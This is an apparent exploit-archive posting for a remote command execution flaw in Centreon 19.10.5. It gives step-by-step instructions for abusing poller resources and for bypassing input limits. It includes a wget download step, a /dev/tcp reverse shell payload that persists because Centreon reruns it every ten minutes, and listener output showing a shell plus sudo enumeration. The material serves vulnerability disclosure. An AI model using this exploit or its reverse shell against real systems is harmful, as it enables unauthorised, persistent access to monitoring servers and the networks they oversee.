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Centreon 19.10.5 Remote Command Execution

Centreon 19.10.5 Remote Command Execution
Posted Jan 28, 2020
Authored by Fabien Aunay, Omri Baso

Centreon version 19.10.5 suffers from a remote command execution vulnerability.

tags | exploit, remote
SHA-256 | 030cbc7db120adeefb9decf4ed1426aeca2c73286c9d115a1f53d790e4e5f8ed

Centreon 19.10.5 Remote Command Execution

Change Mirror Download
# Exploit Title: Centreon 19.10.5 - Remote Command Execution
# Date: 2020-01-27
# Exploit Author: Fabien AUNAY, Omri BASO
# Vendor Homepage: https://www.centreon.com/
# Software Link: https://github.com/centreon/centreon
# Version: 19.10.5
# Tested on: CentOS 7
# CVE : -

###########################################################################################################
Centreon 19.10.5 Remote Command Execution Resources

Trusted by SMBs and Fortune 500 companies worldwide.
An industry reference in IT Infrastructure monitoring for the enterprise.
Counts 200,000+ ITOM users worldwide and an international community of software collaborators.
Presence in Toronto and Luxembourg.
Deployed in diverse sectors:
- IT & telecommunication
- Transportation
- Government
- Heath care
- Retail
- Utilities
- Finance & Insurance
- Aerospace & Defense
- Manufacturing
- etc.

It is possible to call binaries not only in default $USER$ path by adding Poller's Resources.
By adding two entries it is possible to trigger a download exec reverse shell.
Note, your reverse shell is persistent because Centreon execute your payloads all 10 minutes by default.

Steps:
Objective 1 : Add Download Resource
Objective 2 : Add Exec Resource
Objective 3 : Create your both commands check
Objective 4 : Create your services and link them with a host

Restart the Central.

###########################################################################################################

# Objective 1 : Add Download Resource
- Configuration/Pollers/Resources

- Problem:
Illegal Object Name Characters : ~!$%^&*"|'<>?,()=
Illegal Macro Output Characters : `~$^&"|'<>
Maximum client side input size limit: 35

- Information:
Read Centreon documentation:
To install Centreon software from the repository, you should first install the centreon-release package,
which will provide the repository file. Some may not have the wget package installed.
If not perform the following : yum install wget

Solution 1: Remove restriction in Configuration/Pollers/Engine configuration
Solution 2: Modify input size inspector in client side <input> size="250"
Solution 3: Mixed, use a custom payload -> wget -P /tmp/ 127.0.0.1:8080/x.sh


# Objective 2 : Add Exec Resource
- Configuration/Pollers/Resources

- Problem:
Illegal Object Name Characters : ~!$%^&*"|'<>?,()=
Illegal Macro Output Characters : `~$^&"|'<>
Maximum client side input size limit: 35

Solution: Use a custom payload -> bash /tmp/x.sh


# Objective 3 : Create your both commands check with your resources $xxx$ without arguments
# Objective 4 : Create your services and link them with a host


POC:
Payload x.sh : 0<&121-;exec 121<>/dev/tcp/127.0.0.1/1234;sh <&121 >&121 2>&121

python -m SimpleHTTPServer 8080
Serving HTTP on 0.0.0.0 port 8080 ...
127.0.0.1 - - [27/Jan/2020 22:13:27] "GET /x.sh HTTP/1.1" 200 -


nc -lvnp 1234
Ncat: Version 7.50
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:43128.
id
uid=993(centreon-engine) gid=990(centreon-engine) groups=990(centreon-engine),992(centreon-broker),993(nagios),994(centreon)
sudo -l
Matching Defaults entries for centreon-engine on centreon-lab:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin, !requiretty

User centreon-engine may run the following commands on centreon-lab:
(root) NOPASSWD: /sbin/service centreontrapd start
(root) NOPASSWD: /sbin/service centreontrapd stop
(root) NOPASSWD: /sbin/service centreontrapd restart
(root) NOPASSWD: /sbin/service centreontrapd reload
(root) NOPASSWD: /usr/sbin/service centreontrapd start
(root) NOPASSWD: /usr/sbin/service centreontrapd stop
(root) NOPASSWD: /usr/sbin/service centreontrapd restart
(root) NOPASSWD: /usr/sbin/service centreontrapd reload
(root) NOPASSWD: /sbin/service centengine start
(root) NOPASSWD: /sbin/service centengine stop
(root) NOPASSWD: /sbin/service centengine restart
(root) NOPASSWD: /sbin/service centengine reload
(root) NOPASSWD: /usr/sbin/service centengine start
(root) NOPASSWD: /usr/sbin/service centengine stop
(root) NOPASSWD: /usr/sbin/service centengine restart
(root) NOPASSWD: /usr/sbin/service centengine reload
(root) NOPASSWD: /bin/systemctl start centengine
(root) NOPASSWD: /bin/systemctl stop centengine
(root) NOPASSWD: /bin/systemctl restart centengine
(root) NOPASSWD: /bin/systemctl reload centengine
(root) NOPASSWD: /usr/bin/systemctl start centengine
(root) NOPASSWD: /usr/bin/systemctl stop centengine
(root) NOPASSWD: /usr/bin/systemctl restart centengine
(root) NOPASSWD: /usr/bin/systemctl reload centengine
(root) NOPASSWD: /sbin/service cbd start
(root) NOPASSWD: /sbin/service cbd stop
(root) NOPASSWD: /sbin/service cbd restart
(root) NOPASSWD: /sbin/service cbd reload
(root) NOPASSWD: /usr/sbin/service cbd start
(root) NOPASSWD: /usr/sbin/service cbd stop
(root) NOPASSWD: /usr/sbin/service cbd restart
(root) NOPASSWD: /usr/sbin/service cbd reload
(root) NOPASSWD: /bin/systemctl start cbd
(root) NOPASSWD: /bin/systemctl stop cbd
(root) NOPASSWD: /bin/systemctl restart cbd
(root) NOPASSWD: /bin/systemctl reload cbd
(root) NOPASSWD: /usr/bin/systemctl start cbd
(root) NOPASSWD: /usr/bin/systemctl stop cbd
(root) NOPASSWD: /usr/bin/systemctl restart cbd
(root) NOPASSWD: /usr/bin/systemctl reload cbd
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